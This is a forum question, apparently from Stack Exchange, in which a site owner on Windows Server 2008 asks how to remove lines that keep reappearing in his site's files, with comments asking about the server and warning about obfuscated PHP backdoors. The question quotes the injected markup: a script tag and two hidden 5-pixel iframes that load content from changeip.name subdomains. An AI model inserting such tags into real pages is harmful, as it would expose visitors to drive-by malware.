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Some files in my site contains some extra lines.

After I've deleted them manually, I find them corrupted again some time later.

it is all coming from http://*.changeip.name/ some js files.

How can I remove them?

<!--pizda--><script type='text/javascript' src='http://m2.changeip.name/validate.js?ftpid=15035'></script><!--/pizda-->

<iframe src=http://pizda.changeip.name/?f=1065433 framebor der=0 marginheight=0 marginwidth=0 scrolling=0 width=5 heigh t=5 border=0>  

<iframe src=http://kuku.changeip.name/?f=1065433 framebord er=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height
=5 border=0>

Edit:

  • Server is Windows 2008
  • Site have some asp.net files
  • Javascript and flash files are used in the site, too.
share|improve this question
1  
Additional information on you webhosting environment would help. What kind of server are your files on, are you using some server-side scripting like php or a database of some kind? How do you access the server, have you changed your password recently (and is it safe? that means more than 20 characters long) – Informaficker Jun 17 '12 at 15:07
1  
This is a serious question: Are there any PHP files that have lots of jumbled up letters and numbers, or that weren't there before? Similar to this: jcHVpbmZvIHwgd2MgLWwiKTsgIyBIb3cgbWFueSBDUFUgY29yZ but going on for many lines? If so, your server and everything on it could be at risk of theft or have a backdoor that would let someone into your server unauthorized and they can do serious damage. – ionFish Jun 17 '12 at 15:35

migrated from superuser.com Jun 17 '12 at 15:27

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